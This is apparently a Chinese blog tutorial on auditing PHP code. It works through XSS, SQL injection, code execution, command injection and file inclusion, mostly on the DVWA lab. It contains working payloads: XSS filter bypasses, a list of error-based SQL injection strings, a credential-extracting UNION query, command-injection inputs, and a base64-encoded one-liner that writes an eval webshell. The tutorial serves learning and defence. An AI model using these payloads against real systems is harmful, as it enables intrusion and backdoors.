代碼審計入門


前言

最近在看php代碼審計,學習下代碼審計,看了不少師傅的博客,寫的很好,下面不少是借鑒師傅們的,好記性不如爛筆頭,記下,以后可以方便查看。

 
php代碼審計需要比較強的代碼能力和足夠的耐心。這篇文章是寫給我這樣的 剛剛開始審計的菜鳥,下面如果寫的哪里有錯誤的話,還望提出,不吝賜教。
在這里也立個flag:一周至少審計一種CMS(大小不分),希望自己能夠堅持下去,任重而道遠。

 

代碼審計--准備

1,先放一張大圖,php代碼審計的幾個方向,也是容易出問題的地方,沒事的時候可以多看看。

 

 

 

2,代碼審計也就是拿到某網站的源碼,進行審計,從而發現漏洞,但是我們審計的時候並不一定要一行一行的去看吧,這樣未免也太浪費時間了,所以我們需要工具進行幫助我們。當屬 "Seay源代碼審計系統2.1" 優先選擇(靜態分析,關鍵字查找定位代碼不錯,但是誤報很高)。

我們在做代碼審計的時候,個人建議先要把審計的某CMS隨便點點,先熟悉一下功能。代碼審計前先進行黑盒測試是個不錯的選擇,知道哪里有問題,然后再去找出問題的代碼。

要關注變量和函數,

1.可以控制的變量【一切輸入都是有害的 】
2.變量到達有利用價值的函數[危險函數] 【一切進入函數的變量是有害的】
                                                                    ------來源t00ls
 
 
 

代碼審計--漏洞

一,漏洞類型

1.sql注入

 

2.文件操作[上傳/寫入/讀取/刪除]

 

3.文件包含

 

4.命令執行

 

5.xss

 

6.cookie欺騙

 

7.邏輯漏洞

 

........等等
 
我們平常再進行黑盒測試時,上面的每種漏洞都有相對應的挖掘技巧,這里代碼審計也是有技巧的。我們進行黑盒測試getshell的時候,往往是上面的sql注入,文件操作(上傳),文件包含,命令執行相對容易getshell的。xss的話危害也很大,可以泄露內網的信息,如果的是存儲型xss的話,就可以打管理員的cookie,然后進行下一步的攻擊。邏輯漏洞是相對麻煩的,危害是很要命的,邏輯漏洞也分為很多種,其中一元買東西是很出彩的,這里通過修改訂單進行偽造支付金額。
所以我們要認識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧。
 
二,漏洞分析
下面我們就進行分析一下各種漏洞形成的原因吧
1,首先我們要做好准備工作,審計環境:windows環境(Apache+MySQL+php),可以使用集成的,wampserver,phpstudy其他,我用的是wamp,這里在下載的時候不要用版本太高的,因為版本太高,會出現php語法警告以及不兼容的情況。(下一篇也就是我准備寫的一個審計筆記,我平常用的wampserver,由於我的mysql的版本太高,一直安裝不成功,后來又重裝了一個環境(upupw),會在下一篇詳細介紹)(文章里面所提到的環境和工具后面都會分享到百度雲盤)。
 
 
2,准備好了就直接上手分析嗎?其實有更不錯的選擇,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!這是重要的事情。我們在黑盒測試的時候,可以花費點時間,因為用的時間越多,我們對所要分析的CMS的功能更熟悉,代碼審計的時候也就容易分析,比如看到搜索框,當然要看下有沒有注入或者是能不能彈出來框框,以及留言板有沒有xss。交互的數據很重要!
這里有個小技巧, 本地測試的時候要把輸入點打印出來。
將用戶的輸入數據進行var_dump,重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試,[比如搜索框,用戶登入,文件上傳名稱等等]。
 
3,現在可以進行漏洞分析了,下面會寫到比較常見的漏洞類型以及審計不同漏洞的技巧。
 
XSS漏洞
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。 xss分為存儲型的xss和反射型xss, 基於DOM的跨站腳本XSS。
 
【反射型】

反射型xss審計的時候基本的思路都一樣,通過尋找可控沒有過濾(或者可以繞過)的參數,通過echo等輸出函數直接輸出。尋找的一般思路就是尋找輸出函數,再去根據函數尋找變量。一般的輸出函數有這些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

測試代碼如下:

<?php
echo $_GET['xssf'];
?>

http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

 
 
可能有人會有情緒不高,因為這是自己寫的,玩起來沒有成就感,
那我們可以用滲透平台 DVWA 呀(后面會分享到百度雲盤,有了wampserver環境,直接把文件夾放/wamp/www/目錄就可以),當然了,這里我們選擇low的難度,因為好分析。我們輸入<script>alert("orange")</script>,會彈出框框。如下圖所示
相關鏈接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)
 

 

 

 

 

分析如下:首先看下源碼

 

<?php

// Is there any input?
if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' $_GET'name' ] . '</pre>';
}

?>

這里我們可以清楚的看到 if 里面的php函數array_key_exists,現在不懂沒關系,百度一下你就知道。

array_key_exists(key,array)
key 必需。規定鍵名。
array 必需。規定數組。

array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false。

輸入的值也就是GET得到的值是以數組的形式,然后判斷GET得到的name是不是空,如果滿足 if 語句,這里就會進行 if 括號里面的,echo '<pre>Hello ' $_GET'name' ] . '</pre>'; 我們可以清楚的看到,這里直接輸出傳的name參數,並沒有任何的過濾與檢查,存在明顯的XSS漏洞。

 

 

 

這里我們可以再進行分析一下medium中等難度下的代碼

<?php

// Is there any input?
if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) {
    // Get input
    $name str_replace'<script>'''$_GET'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

可以看到有一點上low的代碼是不一樣的,那就是進行了一次過濾,

用的str_replace()函數,這個函數的功能是:以其他字符替換字符串中的一些字符(區分大小寫)。

這里的作用是替換<script>,也就是把<script>替換成空格,然后再進行輸出。

這里對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防護機制是可以被輕松繞過的。

雙寫繞過:輸入<sc<script>ript>alert(/xss/)</script>,成功彈框。

大小寫混淆繞過:輸入<ScRipt>alert(/xss/)</script>,成功彈框。這里就不截圖了。

 

 

 

High等級也是基於黑名單思想,進行過濾。但是我們可以通過其他標簽來進行XSS。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

代碼如上,這里就不一一分析了。

 

 

 

 

【存儲型】

存儲型xss審計和反射型xss審計時候思路差不多,不過存儲型xss會在數據庫“中轉”一下,主要審計sql語句update ,insert更新和插入。

進行白盒審計前,我們先進行下黑盒測試

輸入name的時候發現,name輸不了那么多了,這是我們可以右鍵審查元素,可以看到限制長度為10了,其實說這句話,只是想提醒一下像我這樣的小白,審查元素也是一門"學問"

name出隨便輸入,message處輸入:<script>alert(/orange/)</script>,可以看到會彈出框框

 

這是看下源碼,我們分析下

<?php

if( isset( $_POST'btnSign' ] ) ) {
    // Get input
    $message trim$_POST'mtxMessage' ] );
    $name    trim$_POST'txtName' ] );

    // Sanitize message input
    $message stripslashes$message );
    $message mysql_real_escape_string$message );

    // Sanitize name input
    $name mysql_real_escape_string$name );

    // Update database
    $query  "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

    //mysql_close();
}

?>

可以看到接收POST過來的參數,trim()函數是移除字符串兩側的空白字符或其他預定義字符。

這里先進行過濾一下,把我們輸入字符串兩側的空白字符和其他預定義字符給過濾掉。預定義字符包括:\t,\n,\x0B,\r以及空格。

$message = stripslashes( $message );

然后stripslashes()函數:刪除反斜杠

然后message參數再經過mysql_real_escape_string()函數進行轉義。

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

最后給插入數據庫。這個時候我們去數據庫看一下,如下圖,可以看到xss代碼已經插入數據庫了,這也就是存儲型XSS與反射性XSS的區別。

因為我們在前端看到的都是經由數據庫傳過來的數據,所以會彈出框框。

這里我最后總結一下,順便再分析一下。

我輸入的值是:<script>alert(/orange/)</script>,首先上面的trim()函數過濾空格和預定義字符,這里對輸入的值是沒有影響的,所以$messsge還是<script>alert(/orange/)</script>,然后stripslashes()函數刪除反斜杠,由於輸入的message沒有反斜杠,所以無效。$message還是<script>alert(/orange/)</script>,最后用mysql_real_escape_string()函數進行轉義,上面可以清楚的看到這個函數對什么字符有影響,但是沒有對$message有影響,所以這時的$_message還是<script>alert(/orange/)</script>這個時候就把$message傳入數據庫,也就是上圖數據庫中的數據。前端讀取的數據的時候是從數據庫中讀取,因此把$message讀出來,從而造成了存儲型XSS漏洞。

還有medium,high,這里就不做分析了,這里解決XSS漏洞的方法就是用htmlspecialchars函數進行編碼。但是要注意的是,如果htmlspecialchars函數使用不當,

攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS。說的DOM型XSS,下面就是啦。

 

 

 

 

【DOM】

這個DVWA里面沒有這種,這里還是我們自己動手豐衣足食吧。

基於DOM的跨站腳本XSS:通過訪問document.URL 或者document.location執行一些客戶端邏輯的javascript代碼。不依賴發送給服務器的數據。

 

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system

</HTML>

 

 

瀏覽器開始解析這個HTML為DOM,DOM包含一個對象叫document,document里面有個URL屬性,這個屬性里填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它並且修改你的HTML頁面。倘若代碼中引用了document.URL,那么,這部分字符串將會在解析時嵌入到HTML中,然后立即解析,同時,javascript代碼會找到(alert(…))並且在同一個頁面執行它,這就產生了xss的條件。

注意:

1. 惡意程序腳本在任何時候不會嵌入到處於自然狀態下的HTML頁面(這和其他種類的xss不太一樣)。

2.這個攻擊只有在瀏覽器沒有修改URL字符時起作用。 當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化為%3C 和 %3E),因此在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,因此他很容易受到攻擊。

這里可以看到我的瀏覽器自動轉換了字符<>,所以沒有彈出框,這里我們知道原理就好,IE6下沒有轉換<和>,所以是可以彈框框的。

 

 

 

 

SQL注入漏洞

sql注入是我們審計比較重視的漏洞之一

SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。SQL注入的產生原因:①不當的類型處理;②不安全的數據庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字符處理不合適;⑥多個提交處理不當。

首先說一下普通的注入審計,可以通過$_GET,$_POST等傳參追蹤數據庫操作,也可以通過select , delete , update,insert 數據庫操作語句反追蹤傳參。

現在的一般的CMS都注意到了SQL注入的嚴重性,所以他們對於注入都進行了一定的過濾,一般他們會用到兩種過濾方法。

01.對於數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就尷尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

 

下面介紹下常見的SQL注入類型,最后再用DVWA進行分析。

漏洞(一)ip沒過濾直接進到sql語句
函數講解:
getenv : 這個函數是獲得環境變量的函數,也可以用來獲得$_SERVER數組的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
當然http頭還有referer 這也是可以偽裝的,要是沒有過濾好也會產生會注入問題
 
 
漏洞(二)寬字節注入 [對字符]
如果發現 cms是GBK 只有看看 能不能寬字節注入
Sqlmap 的unmagicquotes.py 可以進行寬字測試
解決寬字節注入辦法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到這里就一般高枕無憂了.....
但是 要是畫蛇添足得使用iconv就可能出現問題了
有些cms:
會加上下面語句避免亂碼
iconv('utf-8', 'gbk', $_GET['word']);
將傳入的word有utf-8轉成gbk.....
發現錦的utf-8 編碼是0xe98ca6,而的gbk 編碼是0xe55c
我們輸入錦' -->%e5%5c%27【%5c就是\】
在經過轉移------>%e5%5c%5c%27【5c%5c就是\\】這樣我們就可以注入了
 
 
 
 
漏洞(三)二次注入
攻擊payload首先被Web服務器上的應用存儲,隨后又在關鍵操作中被使用,這便被稱為二次注入漏洞。
詳細請看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
 
 
 
漏洞(四)文件名注入
因為$_FILE,$_SERVER不受gpc影響,那么可能造成注入.......
有些cms會把name的值保存在數據庫里,但又沒有對name進行過濾。
烏雲編號:wooyun-2010-051124
 
 
漏洞(五)報錯注入

1、通過floor報錯,注入語句如下:  

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過ExtractValue報錯,注入語句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通過UpdateXml報錯,注入語句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通過NAME_CONST報錯,注入語句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

7、通過GeometryCollection()報錯,注入語句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );
 
小技巧:
最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump
重要的是對最終的sql語句進行var_dump,這和給你省去很多力氣!我們只要var_dump($sql)然后再可以去黑盒測試。
 
 
 

 DVWA分析

SQL Injection

選擇Low級別,便於審計分析。首先我們黑盒測試一下,我們輸入:

1‘or ’1‘=’1這個時候就可以判斷出存在字符型注入。

1' or 1=1 order by 2 #   ,1' or 1=1 order by 3 #,這個時候就可以判斷2個字段。下面的就不進行注入爆庫了。

 

 

 

這個時候看下源碼分析一下。

<?php

if( isset( $_REQUEST'Submit' ] ) ) {
    // Get input
    $id $_REQUEST'id' ];

    // Check database
    $query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

    // Get results
    $num mysql_numrows$result );
    $i   0;
    while( $i $num ) {
        // Get values
        $first mysql_result$result$i"first_name" );
        $last  mysql_result$result$i"last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

可以看到,接收到submit傳過來的值,id沒有進行任何的檢查與過濾,存在明顯的SQL注入。

 

 

選擇medium級別

代碼如下

<?php

if( isset( $_POST'Submit' ] ) ) {
    // Get input
    $id $_POST'id' ];
    $id mysql_real_escape_string$id );

    // Check database
    $query  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' );

    // Get results
    $num mysql_numrows$result );
    $i   0;
    while( $i $num ) {
        // Display values
        $first mysql_result$result$i"first_name" );
        $last  mysql_result$result$i"last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

 

可以看到對接收到的參數id  只是用函數mysql_real_escape_string()轉義了一下。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

而且前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。不過沒多大用處,我們依然可以通過抓包改參數,提交惡意構造的查詢參數。

抓包更改參數id1 or 1=1 #,查詢成功,說明存在數字型注入。(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因為數字型注入並不需要借助引號。),所以我們還是可以進行注入。

 

 

 

選擇high級別

代碼分析

<?php

if( isset( $_SESSION 'id' ] ) ) {
    // Get input
    $id $_SESSION'id' ];

    // Check database
    $query  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result mysql_query$query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num mysql_numrows$result );
    $i   0;
    while( $i $num ) {
        // Get values
        $first mysql_result$result$i"first_name" );
        $last  mysql_result$result$i"last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

 

以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。這樣的就又可以進行注入了。

 

 

 

 

 

SQL InjectionBlind),即SQL盲注

與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。

代碼分析

<?php

if( isset( $_GET'Submit' ] ) ) {
    // Get input
    $id $_GET'id' ];

    // Check database
    $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows$result ); // The '@' character suppresses errors
    if( $num ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種

 

User ID exists in the database.

User ID is MISSING from the database.

因此這里是SQL盲注漏洞。

 

輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注。這里僅作判斷存在SQL注入,不進一步攻擊。

 

 

 

選擇medium級別

代碼分析

<?php

if( isset( $_POST'Submit' ]  ) ) {
    // Get input
    $id $_POST'id' ];
    $id mysql_real_escape_string$id );

    // Check database
    $getid  "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows$result ); // The '@' character suppresses errors
    if( $num ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

 

可以看到對接收到的參數id  只是用函數mysql_real_escape_string()轉義了一下。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

而且前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。不過沒多大用處,我們依然可以通過抓包改參數,提交惡意構造的查詢參數。

抓包更改參數輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注,查詢成功,說明存在注入。

 

 

high級別

代碼分析

<?php

if( isset( $_COOKIE'id' ] ) ) {
    // Get input
    $id $_COOKIE'id' ];

    // Check database
    $getid  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result mysql_query$getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows$result ); // The '@' character suppresses errors
    if( $num ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand0) == ) {
            sleeprand2) );
        }

        // User wasn't found, so the page wasn't!
        header$_SERVER'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

可以看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds),目的是為了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。但由於服務器端執行sleep函數,會使得基於時間盲注的准確性受到影響,但仍然是可以注入的。

 

 

 

 

 

代碼執行審計

代碼執行審計和sql漏洞審計很相似,sql注入是想sql語句注入在數據庫中,代碼執行是將可執行代碼注入到webservice 。這些容易導致代碼執行的函數有以下這些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e參數。

代碼執行注入就是 在php里面有些函數中輸入的字符串參數會當做PHP代碼執行。

Eval函數在PHP手冊里面的意思是:將輸入的字符串編程PHP代碼

1,先寫個簡單的代碼測試一下(很俗套的代碼)

<?php
if(isset($_GET['orange']))
{
    $orange=$_GET['orange'];
    eval("\$orange=$orange");
}
//PHP  代碼審計代碼執行
?>

直接接收orange參數,payload:?orange=phpinfo();

下面圖可以看到成功執行。


 

 

 

2,再看一個,測試代碼如下

<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    $String = '<php>phpinfo()</php>';
    var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>

可以看到代碼有正則preg_replace(),所以現在需要/e參數,才能進行代碼執行。

正則表達式過濾后是phpinfo(),正則表達式的意思是將String中含reg的字符串的樣式去除。所以現在我們可以構造payload:?orange=<\/php>/e   ,現在解釋一下為什么,preg_replace(),/<php>(.*?)$regexp,接收的參數構造成正則表達式/<php>(.*?)<\/php>/e,將$String也就是<php>phpinfo()</php>過濾成phpinfo(),這樣就可以成功執行了。

 

 3,參數注入,測試代碼如下

<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    //$String = '<php>phpinfo()</php>';
    //var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
    preg_replace("/orange/e",$regexp,"i am orange");
}
?>

分析和上面差不多。
直接構造payload就好:?orange=phpinfo();

 

 4,動態函數執行----一個超級隱蔽的后門

測試代碼

<?php $_GET[a]($_GET[b]);?>

 僅用GET函數就構成了木馬;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

 運行上述payload,會在同目錄下生成c.php文件,里面的內容是<?php @eval($_POST[c]); ?>1,生成一句話木馬。

 

 

 

 

 命令執行審計

代碼執行說的是可執行的php腳本代碼,命令執行就是可以執行系統命令(cmd)或者是應用指令(bash),這個漏洞也是因為傳參過濾不嚴格導致的,

一般我們說的php可執行命令的函數有這些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引號也是可以執行的,因為他調用了shell_exec這個函數。

1,測試代碼:

<?php
$orange=$_GET['orange'];
system($orange);
?>

直接GET傳參,然后system()----執行shell命令也就是向dos發送一條指令

payload:?orange=net user   查看一下電腦的用戶。

 

 


2,再演示一個popen()函數
測試代碼:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>

只要php文件運行,就會在上述路徑生成1234.txt文件,里面的內容是net user的結果。

 

 

 

3,反引號命令執行

測試代碼:

<?php
echo `net user`;
?>

直接echo ,直接就可以執行命令

 

 

 

 

 

 

DVWA分析

選擇low級別,先進行一下黑盒測試。

輸入8.8.8.8&&net user,可以看到成功執行兩條命令

下面分析一下,相關函數介紹 

stristr(string,search,before_search)

stristr函數搜索字符串在另一字符串中的第一次出現,返回字符串的剩余部分(從匹配點),如果未找到所搜索的字符串,則返回 FALSE。參數string規定被搜索的字符串,參數search規定要搜索的字符串(如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符),可選參數before_true為布爾型,默認為“false” ,如果設置為 “true”,函數將返回 search 參數第一次出現之前的字符串部分。

php_uname(mode)

這個函數會返回運行php的操作系統的相關描述,參數mode可取值a(此為默認,包含序列s n r v m里的所有模式),s (返回操作系統名稱),n(返回主機名),r(返回版本名稱),v(返回版本信息), m(返回機器類型)。

 

命令連接符


command1 && command2   先執行command1后執行command2
command1 | command2     只執行command2
command1 & command2    先執行command2后執行command1


以上三種連接符在windowslinux環境下都支持
如果程序沒有進行過濾,那么我們就可以通過連接符執行多條系統命令。

 

 

可以看到,服務器通過判斷操作系統執行不同ping命令,但是對ip參數並未做任何的過濾,導致了嚴重的命令注入漏洞。

看下代碼:

<?php

if( isset( $_POST'Submit' ]  ) ) {
    // Get input
    $target $_REQUEST'ip' ];

    // Determine OS and execute the ping command.
    if( stristrphp_uname's' ), 'Windows NT' ) ) {
        // Windows
        $cmd shell_exec'ping  ' $target );
    }
    else {
        // *nix
        $cmd shell_exec'ping  -c 4 ' $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

上面代碼可以清楚的看到,對輸入的命令沒有過濾,直接進行參數的傳遞。可以通過用“&&”和“;”來執行額外的命令 ping 8.8.8.8&&net user

 

 

 

選擇medium級別,先進行黑盒測試,

發現輸入:8.8.8.8&&net user,不可以用,這個時候可以去掉一個,輸入:8.8.8.8&net user,是可以”成功“的。

但是這里需要注意的是”&&”與”    &”的區別:
Command 1&&Command 2
先執行Command 1,執行成功后執行Command 2,否則不執行Command 2

Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2

 

這個時候我們看下代碼

<?php

if( isset( $_POST'Submit' ]  ) ) {
    // Get input
    $target $_REQUEST'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target str_replacearray_keys$substitutions ), $substitutions$target );

    // Determine OS and execute the ping command.
    if( stristrphp_uname's' ), 'Windows NT' ) ) {
        // Windows
        $cmd shell_exec'ping  ' $target );
    }
    else {
        // *nix
        $cmd shell_exec'ping  -c 4 ' $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Low級別的代碼,服務器端對ip參數做了一定過濾,即把”&&” ,”;”刪除,本質上采用的是黑名單機制,因此依舊存在安全問題。

這個時候就可以開始利用了

 

***因為被過濾的只有”&&”與”    ;”,所以”&”不會受影響。所以可以輸入:8.8.8.8&net user

***由於使用的是str_replace把”&&”,”;”替換為空字符,因此可以采用以下方式繞過: 8.8.8.8;&net user

這是因為”8.8.8.8&;&net user”中的” ;”會被替換為空字符,這樣一來就變成了”8.8.8.8&;&net user” ,會成功執行。

 

 

 

 

選擇high級別,先進行黑盒測試,結果發現,好多都被過濾掉了,沒關系,看下代碼

<?php

if( isset( $_POST'Submit' ]  ) ) {
    // Get input
    $target trim($_REQUEST'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target str_replacearray_keys$substitutions ), $substitutions$target );

    // Determine OS and execute the ping command.
    if( stristrphp_uname's' ), 'Windows NT' ) ) {
        // Windows
        $cmd shell_exec'ping  ' $target );
    }
    else {
        // *nix
        $cmd shell_exec'ping  -c 4 ' $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Medium級別的代碼,High級別的代碼進一步完善了黑名單,但由於黑名單機制的局限性,我們依然可以繞過。

漏洞利用

Command 1 | Command 2
“|”是管道符,表示將Command 1的輸出作為Command 2的輸入,並且只打印Command 2執行的結果。
黑名單看似過濾了所有的非法字符,但仔細觀察到是把”| ”(注意這里|后有一個空格)替換為空字符,於是    ”|” 就有用了。

輸入:8.8.8.8|net user  

下圖成功執行。

 

 

 

 

文件包含審計

 PHP的文件包含可以直接執行包含文件的代碼,包含的文件格式是不受限制的,只要能正常執行即可。

文件包含有這么兩種:本地包含(LFI)和遠程包含(RFI)。,顧名思義就能理解它們的區別在哪。

審計的時候函數都是一樣的,這個四個包含函數: include() ; include_once() ; require();require_once().include 和 require 語句是相同的,除了錯誤處理方面:require 會生成致命錯誤(E_COMPILE_ERROR)並停止腳本,include 只生成警告(E_WARNING),並且腳本會繼續。

先說一下本地包含,本地包含就指的是只能包含本機文件的漏洞,一般要配合上傳,或者是已控的數據庫來進行使用。

先寫個簡單的代碼測試一下。

在www目錄下新建兩個php文件,baohan1.php,baohan2.php

baohan2.php代碼

<?php
phpinfo();
?>

 

baohan1.php

<?php
include("baohan2.php");
?>

打開baohan1.php,可以看到成功執行baohan2.php的代碼,成功把banhan2.php給包含了

 

這個時候稍微修改下代碼。把baohan1.php的:include("baohan2.php");改成include("baohan2.txt");

把baohan2.php改成baohan2.txt。再次訪問baihan1.php,可以看到成功包含,

接下來將baohan2.txt文件的擴展名分別改為jpg、rar、doc、xxx進行測試,發現都可以正確顯示phpinfo信息。由此可知,只要文件內容符合PHP語法規范,那么任何擴展名都可以被PHP解析。

 

 

再來看一下遠程文件包含

當服務器的php配置中選項allow_url_fopen與allow_url_include為開啟狀態時,服務器會允許包含遠程服務器上的文件。如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。

